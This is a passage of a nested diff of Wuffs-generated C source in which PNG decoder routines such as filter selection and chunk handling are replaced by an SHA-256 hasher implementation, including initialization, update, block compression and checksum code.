++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; + } else { +- return wuffs_base__make_empty_struct(); ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- self->private_impl.f_filter_distance = 1u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } else if (self->private_impl.f_color_type == 0u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 536870920u; +- self->private_impl.f_src_pixfmt = 536870920u; +- self->private_impl.f_filter_distance = 1u; +- } else if (self->private_impl.f_depth == 16u) { +- if (self->private_impl.f_interlace_pass == 0u) { +- self->private_impl.f_dst_pixfmt = 536870923u; +- self->private_impl.f_src_pixfmt = 537919499u; +- } else { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__hasher_bitvec256.vtable_name = ++ wuffs_base__hasher_bitvec256__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_bitvec256.function_pointers = ++ (const void*)(&wuffs_sha256__hasher__func_ptrs_for__wuffs_base__hasher_bitvec256); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_sha256__hasher* ++wuffs_sha256__hasher__alloc(void) { ++ wuffs_sha256__hasher* x = ++ (wuffs_sha256__hasher*)(calloc(1, sizeof(wuffs_sha256__hasher))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_sha256__hasher__initialize( ++ x, sizeof(wuffs_sha256__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_sha256__hasher(void) { ++ return sizeof(wuffs_sha256__hasher); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func sha256.hasher.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_sha256__hasher__get_quirk( ++ const wuffs_sha256__hasher* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func sha256.hasher.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_sha256__hasher__set_quirk( ++ wuffs_sha256__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func sha256.hasher.update ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_sha256__hasher__update( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ uint64_t v_new_lmu = 0; ++ ++ if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { ++ self->private_impl.f_h0 = WUFFS_SHA256__INITIAL_SHA256_H[0u]; ++ self->private_impl.f_h1 = WUFFS_SHA256__INITIAL_SHA256_H[1u]; ++ self->private_impl.f_h2 = WUFFS_SHA256__INITIAL_SHA256_H[2u]; ++ self->private_impl.f_h3 = WUFFS_SHA256__INITIAL_SHA256_H[3u]; ++ self->private_impl.f_h4 = WUFFS_SHA256__INITIAL_SHA256_H[4u]; ++ self->private_impl.f_h5 = WUFFS_SHA256__INITIAL_SHA256_H[5u]; ++ self->private_impl.f_h6 = WUFFS_SHA256__INITIAL_SHA256_H[6u]; ++ self->private_impl.f_h7 = WUFFS_SHA256__INITIAL_SHA256_H[7u]; ++ } ++ v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); ++ self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); ++ self->private_impl.f_length_modulo_u64 = v_new_lmu; ++ if (self->private_impl.f_buf_len != 0u) { ++ while (self->private_impl.f_buf_len < 64u) { ++ if (((uint64_t)(a_x.len)) <= 0u) { ++ return wuffs_base__make_empty_struct(); + } +- self->private_impl.f_filter_distance = 2u; +- } +- } else if (self->private_impl.f_color_type == 2u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2147485832u; +- self->private_impl.f_src_pixfmt = 2684356744u; +- self->private_impl.f_filter_distance = 3u; +- } else if (self->private_impl.f_depth == 16u) { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- self->private_impl.f_filter_distance = 6u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } +- } else if (self->private_impl.f_color_type == 3u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2198077448u; +- self->private_impl.f_src_pixfmt = 2198077448u; +- self->private_impl.f_filter_distance = 1u; +- } +- } else if (self->private_impl.f_color_type == 4u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- self->private_impl.f_filter_distance = 2u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } else if (self->private_impl.f_depth == 16u) { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- self->private_impl.f_filter_distance = 4u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } +- } else if (self->private_impl.f_color_type == 6u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2701166728u; +- self->private_impl.f_filter_distance = 4u; +- } else if (self->private_impl.f_depth == 16u) { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- self->private_impl.f_filter_distance = 8u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); ++ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++ self->private_impl.f_buf_len += 1u; ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } ++ self->private_impl.f_buf_len = 0u; ++ wuffs_sha256__hasher__up(self, wuffs_base__make_slice_u8(self->private_impl.f_buf_data, 64)); + } ++ wuffs_sha256__hasher__up(self, a_x); + return wuffs_base__make_empty_struct(); + } + +-// -------- func png.decoder.calculate_bytes_per_row ++// -------- func sha256.hasher.update_bitvec256 + + WUFFS_BASE__GENERATED_C_CODE +-static uint64_t +-wuffs_png__decoder__calculate_bytes_per_row( +- const wuffs_png__decoder* self, +- uint32_t a_width) { +- uint64_t v_bytes_per_channel = 0; +- +- if (self->private_impl.f_depth == 1u) { +- return ((uint64_t)(((a_width + 7u) / 8u))); +- } else if (self->private_impl.f_depth == 2u) { +- return ((uint64_t)(((a_width + 3u) / 4u))); +- } else if (self->private_impl.f_depth == 4u) { +- return ((uint64_t)(((a_width + 1u) / 2u))); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__update_bitvec256( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } +- v_bytes_per_channel = ((uint64_t)((self->private_impl.f_depth >> 3u))); +- return (((uint64_t)(a_width)) * v_bytes_per_channel * ((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type]))); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ ++ wuffs_sha256__hasher__update(self, a_x); ++ return wuffs_sha256__hasher__checksum_bitvec256(self); + } + +-// -------- func png.decoder.choose_filter_implementations ++// -------- func sha256.hasher.up + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_png__decoder__choose_filter_implementations( +- wuffs_png__decoder* self) { +- if (self->private_impl.f_filter_distance == 3u) { +- self->private_impl.choosy_filter_1 = ( +- &wuffs_png__decoder__filter_1_distance_3_fallback); +- self->private_impl.choosy_filter_3 = ( +- &wuffs_png__decoder__filter_3_distance_3_fallback); +- self->private_impl.choosy_filter_4 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_3_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_3_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_4_distance_3_fallback); +- } else if (self->private_impl.f_filter_distance == 4u) { +- self->private_impl.choosy_filter_1 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_1_distance_4_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_1_distance_4_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_1_distance_4_fallback); +- self->private_impl.choosy_filter_3 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_3_distance_4_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_3_distance_4_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_3_distance_4_fallback); +- self->private_impl.choosy_filter_4 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_4_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_4_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_4_distance_4_fallback); ++wuffs_sha256__hasher__up( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ wuffs_base__slice_u8 v_p = {0}; ++ uint32_t v_w[64] = {0}; ++ uint32_t v_w2 = 0; ++ uint32_t v_w15 = 0; ++ uint32_t v_s0 = 0; ++ uint32_t v_s1 = 0; ++ uint32_t v_t1 = 0; ++ uint32_t v_t2 = 0; ++ uint32_t v_a = 0; ++ uint32_t v_b = 0; ++ uint32_t v_c = 0; ++ uint32_t v_d = 0; ++ uint32_t v_e = 0; ++ uint32_t v_f = 0; ++ uint32_t v_g = 0; ++ uint32_t v_h = 0; ++ uint32_t v_i = 0; ++ uint32_t v_buf_len = 0; ++ ++ v_a = self->private_impl.f_h0; ++ v_b = self->private_impl.f_h1; ++ v_c = self->private_impl.f_h2; ++ v_d = self->private_impl.f_h3; ++ v_e = self->private_impl.f_h4; ++ v_f = self->private_impl.f_h5; ++ v_g = self->private_impl.f_h6; ++ v_h = self->private_impl.f_h7; ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 64; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64)); ++ while (v_p.ptr < i_end0_p) { ++ v_w[0u] = ((((uint32_t)(v_p.ptr[0u])) << 24u) | ++ (((uint32_t)(v_p.ptr[1u])) << 16u) | ++ (((uint32_t)(v_p.ptr[2u])) << 8u) | ++ ((uint32_t)(v_p.ptr[3u]))); ++ v_w[1u] = ((((uint32_t)(v_p.ptr[4u])) << 24u) | ++ (((uint32_t)(v_p.ptr[5u])) << 16u) | ++ (((uint32_t)(v_p.ptr[6u])) << 8u) | ++ ((uint32_t)(v_p.ptr[7u]))); ++ v_w[2u] = ((((uint32_t)(v_p.ptr[8u])) << 24u) | ++ (((uint32_t)(v_p.ptr[9u])) << 16u) | ++ (((uint32_t)(v_p.ptr[10u])) << 8u) | ++ ((uint32_t)(v_p.ptr[11u]))); ++ v_w[3u] = ((((uint32_t)(v_p.ptr[12u])) << 24u) | ++ (((uint32_t)(v_p.ptr[13u])) << 16u) | ++ (((uint32_t)(v_p.ptr[14u])) << 8u) | ++ ((uint32_t)(v_p.ptr[15u]))); ++ v_w[4u] = ((((uint32_t)(v_p.ptr[16u])) << 24u) | ++ (((uint32_t)(v_p.ptr[17u])) << 16u) | ++ (((uint32_t)(v_p.ptr[18u])) << 8u) | ++ ((uint32_t)(v_p.ptr[19u]))); ++ v_w[5u] = ((((uint32_t)(v_p.ptr[20u])) << 24u) | ++ (((uint32_t)(v_p.ptr[21u])) << 16u) | ++ (((uint32_t)(v_p.ptr[22u])) << 8u) | ++ ((uint32_t)(v_p.ptr[23u]))); ++ v_w[6u] = ((((uint32_t)(v_p.ptr[24u])) << 24u) | ++ (((uint32_t)(v_p.ptr[25u])) << 16u) | ++ (((uint32_t)(v_p.ptr[26u])) << 8u) | ++ ((uint32_t)(v_p.ptr[27u]))); ++ v_w[7u] = ((((uint32_t)(v_p.ptr[28u])) << 24u) | ++ (((uint32_t)(v_p.ptr[29u])) << 16u) | ++ (((uint32_t)(v_p.ptr[30u])) << 8u) | ++ ((uint32_t)(v_p.ptr[31u]))); ++ v_w[8u] = ((((uint32_t)(v_p.ptr[32u])) << 24u) | ++ (((uint32_t)(v_p.ptr[33u])) << 16u) | ++ (((uint32_t)(v_p.ptr[34u])) << 8u) | ++ ((uint32_t)(v_p.ptr[35u]))); ++ v_w[9u] = ((((uint32_t)(v_p.ptr[36u])) << 24u) | ++ (((uint32_t)(v_p.ptr[37u])) << 16u) | ++ (((uint32_t)(v_p.ptr[38u])) << 8u) | ++ ((uint32_t)(v_p.ptr[39u]))); ++ v_w[10u] = ((((uint32_t)(v_p.ptr[40u])) << 24u) | ++ (((uint32_t)(v_p.ptr[41u])) << 16u) | ++ (((uint32_t)(v_p.ptr[42u])) << 8u) | ++ ((uint32_t)(v_p.ptr[43u]))); ++ v_w[11u] = ((((uint32_t)(v_p.ptr[44u])) << 24u) | ++ (((uint32_t)(v_p.ptr[45u])) << 16u) | ++ (((uint32_t)(v_p.ptr[46u])) << 8u) | ++ ((uint32_t)(v_p.ptr[47u]))); ++ v_w[12u] = ((((uint32_t)(v_p.ptr[48u])) << 24u) | ++ (((uint32_t)(v_p.ptr[49u])) << 16u) | ++ (((uint32_t)(v_p.ptr[50u])) << 8u) | ++ ((uint32_t)(v_p.ptr[51u]))); ++ v_w[13u] = ((((uint32_t)(v_p.ptr[52u])) << 24u) | ++ (((uint32_t)(v_p.ptr[53u])) << 16u) | ++ (((uint32_t)(v_p.ptr[54u])) << 8u) | ++ ((uint32_t)(v_p.ptr[55u]))); ++ v_w[14u] = ((((uint32_t)(v_p.ptr[56u])) << 24u) | ++ (((uint32_t)(v_p.ptr[57u])) << 16u) | ++ (((uint32_t)(v_p.ptr[58u])) << 8u) | ++ ((uint32_t)(v_p.ptr[59u]))); ++ v_w[15u] = ((((uint32_t)(v_p.ptr[60u])) << 24u) | ++ (((uint32_t)(v_p.ptr[61u])) << 16u) | ++ (((uint32_t)(v_p.ptr[62u])) << 8u) | ++ ((uint32_t)(v_p.ptr[63u]))); ++ v_i = 16u; ++ while (v_i < 64u) { ++ v_w2 = v_w[(v_i - 2u)]; ++ v_s1 = ((v_w2 >> 10u) ^ (((uint32_t)(v_w2 << 15u)) | (v_w2 >> 17u)) ^ (((uint32_t)(v_w2 << 13u)) | (v_w2 >> 19u))); ++ v_w15 = v_w[(v_i - 15u)]; ++ v_s0 = ((v_w15 >> 3u) ^ (((uint32_t)(v_w15 << 25u)) | (v_w15 >> 7u)) ^ (((uint32_t)(v_w15 << 14u)) | (v_w15 >> 18u))); ++ v_w[v_i] = ((uint32_t)(((uint32_t)(((uint32_t)(v_s1 + v_w[(v_i - 7u)])) + v_s0)) + v_w[(v_i - 16u)])); ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_t1 = v_h; ++ v_t1 += ((((uint32_t)(v_e << 26u)) | (v_e >> 6u)) ^ (((uint32_t)(v_e << 21u)) | (v_e >> 11u)) ^ (((uint32_t)(v_e << 7u)) | (v_e >> 25u))); ++ v_t1 += ((v_e & v_f) ^ ((4294967295u ^ v_e) & v_g)); ++ v_t1 += WUFFS_SHA256__K[v_i]; ++ v_t1 += v_w[v_i]; ++ v_t2 = ((((uint32_t)(v_a << 30u)) | (v_a >> 2u)) ^ (((uint32_t)(v_a << 19u)) | (v_a >> 13u)) ^ (((uint32_t)(v_a << 10u)) | (v_a >> 22u))); ++ v_t2 += ((v_a & v_b) ^ (v_a & v_c) ^ (v_b & v_c)); ++ v_h = v_g; ++ v_g = v_f; ++ v_f = v_e; ++ v_e = ((uint32_t)(v_d + v_t1)); ++ v_d = v_c; ++ v_c = v_b; ++ v_b = v_a; ++ v_a = ((uint32_t)(v_t1 + v_t2)); ++ v_i += 1u; ++ } ++ v_a += self->private_impl.f_h0; ++ self->private_impl.f_h0 = v_a; ++ v_b += self->private_impl.f_h1; ++ self->private_impl.f_h1 = v_b; ++ v_c += self->private_impl.f_h2; ++ self->private_impl.f_h2 = v_c; ++ v_d += self->private_impl.f_h3; ++ self->private_impl.f_h3 = v_d; ++ v_e += self->private_impl.f_h4; ++ self->private_impl.f_h4 = v_e; ++ v_f += self->private_impl.f_h5; ++ self->private_impl.f_h5 = v_f; ++ v_g += self->private_impl.f_h6; ++ self->private_impl.f_h6 = v_g; ++ v_h += self->private_impl.f_h7; ++ self->private_impl.f_h7 = v_h; ++ v_p.ptr += 64; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; ++ v_buf_len = ((v_buf_len + 1u) & 63u); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } ++ self->private_impl.f_buf_len = ((uint32_t)((((uint64_t)(a_x.len)) & 63u))); + return wuffs_base__make_empty_struct(); + } + +-// -------- func png.decoder.decode_other_chunk ++// -------- func sha256.hasher.checksum_bitvec256 + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_other_chunk( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src, +- bool a_framy) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__checksum_bitvec256( ++ const wuffs_sha256__hasher* self) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_other_chunk[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ uint32_t v_buf_len = 0; ++ uint8_t v_buf_data[64] = {0}; ++ uint64_t v_length_in_bits = 0; ++ uint32_t v_w[64] = {0}; ++ uint32_t v_w2 = 0; ++ uint32_t v_w15 = 0; ++ uint32_t v_s0 = 0; ++ uint32_t v_s1 = 0; ++ uint32_t v_t1 = 0; ++ uint32_t v_t2 = 0; ++ uint32_t v_h0 = 0; ++ uint32_t v_h1 = 0; ++ uint32_t v_h2 = 0; ++ uint32_t v_h3 = 0; ++ uint32_t v_h4 = 0; ++ uint32_t v_h5 = 0; ++ uint32_t v_h6 = 0; ++ uint32_t v_h7 = 0; ++ uint32_t v_a = 0; ++ uint32_t v_b = 0; ++ uint32_t v_c = 0; ++ uint32_t v_d = 0; ++ uint32_t v_e = 0; ++ uint32_t v_f = 0; ++ uint32_t v_g = 0; ++ uint32_t v_h = 0; ++ uint32_t v_i = 0; ++ bool v_final_block = false; + +- if ((self->private_impl.f_chunk_type == 1163152464u) && ! a_framy) { +- if (self->private_impl.f_seen_plte) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } else if (self->private_impl.f_color_type == 3u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_png__decoder__decode_plte(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if ((self->private_impl.f_color_type == 2u) || (self->private_impl.f_color_type == 6u)) { +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_seen_plte = true; +- } else if ((self->private_impl.f_chunk_type & 32u) == 0u) { +- if (self->private_impl.f_chunk_type != 1413563465u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_buf_data[v_i] = self->private_impl.f_buf_data[v_i]; ++ v_i += 1u; ++ } ++ v_buf_len = (self->private_impl.f_buf_len & 63u); ++ if (v_buf_len < 56u) { ++ v_buf_data[v_buf_len] = 128u; ++ v_buf_len += 1u; ++ while (v_buf_len < 56u) { ++ v_buf_data[v_buf_len] = 0u; ++ v_buf_len += 1u; + } +- if (self->private_impl.f_chunk_type == 1716082789u) { +- if (self->private_impl.f_report_metadata_exif) { +- if (self->private_impl.f_seen_exif) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_png__decoder__decode_exif(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_exif = true; +- } +- } else if ((self->private_impl.f_chunk_type == 1951945833u) || (self->private_impl.f_chunk_type == 1951942004u) || (self->private_impl.f_chunk_type == 1951945850u)) { +- if (self->private_impl.f_report_metadata_kvp) { +- self->private_impl.f_metadata_flavor = 4u; +- self->private_impl.f_metadata_fourcc = 1263947851u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; +- } +- } else if ( ! a_framy) { +- if (self->private_impl.f_chunk_type == 1280598881u) { +- if (self->private_impl.f_seen_actl) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_png__decoder__decode_actl(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_actl = true; +- } else if (self->private_impl.f_chunk_type == 1297238115u) { +- if (self->private_impl.f_report_metadata_chrm) { +- if (self->private_impl.f_seen_chrm) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_png__decoder__decode_chrm(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_chrm = true; +- } +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- if (self->private_impl.f_seen_fctl) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- status = wuffs_png__decoder__decode_fctl(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_fctl = true; +- } else if (self->private_impl.f_chunk_type == 1095582055u) { +- if (self->private_impl.f_report_metadata_gama) { +- if (self->private_impl.f_seen_gama) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_png__decoder__decode_gama(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_gama = true; +- } +- } else if (self->private_impl.f_chunk_type == 1346585449u) { +- if (self->private_impl.f_report_metadata_iccp) { +- if (self->private_impl.f_seen_iccp) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_png__decoder__decode_iccp(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_iccp = true; +- } +- } else if (self->private_impl.f_chunk_type == 1111970419u) { +- if (self->private_impl.f_report_metadata_srgb) { +- if (self->private_impl.f_seen_srgb) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_png__decoder__decode_srgb(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_srgb = true; +- } +- } else if (self->private_impl.f_chunk_type == 1397641844u) { +- if (self->private_impl.f_seen_trns || (self->private_impl.f_color_type > 3u) || ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_png__decoder__decode_trns(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_trns = true; +- } ++ v_final_block = true; ++ } else { ++ v_buf_data[v_buf_len] = 128u; ++ v_buf_len += 1u; ++ while (v_buf_len < 64u) { ++ v_buf_data[v_buf_len] = 0u; ++ v_buf_len += 1u; ++ } ++ } ++ v_h0 = self->private_impl.f_h0; ++ v_a = v_h0; ++ v_h1 = self->private_impl.f_h1; ++ v_b = v_h1; ++ v_h2 = self->private_impl.f_h2; ++ v_c = v_h2; ++ v_h3 = self->private_impl.f_h3; ++ v_d = v_h3; ++ v_h4 = self->private_impl.f_h4; ++ v_e = v_h4; ++ v_h5 = self->private_impl.f_h5; ++ v_f = v_h5; ++ v_h6 = self->private_impl.f_h6; ++ v_g = v_h6; ++ v_h7 = self->private_impl.f_h7; ++ v_h = v_h7; ++ while (true) { ++ if (v_final_block) { ++ v_length_in_bits = ((uint64_t)(self->private_impl.f_length_modulo_u64 * 8u)); ++ v_buf_data[56u] = ((uint8_t)((v_length_in_bits >> 56u))); ++ v_buf_data[57u] = ((uint8_t)((v_length_in_bits >> 48u))); ++ v_buf_data[58u] = ((uint8_t)((v_length_in_bits >> 40u))); 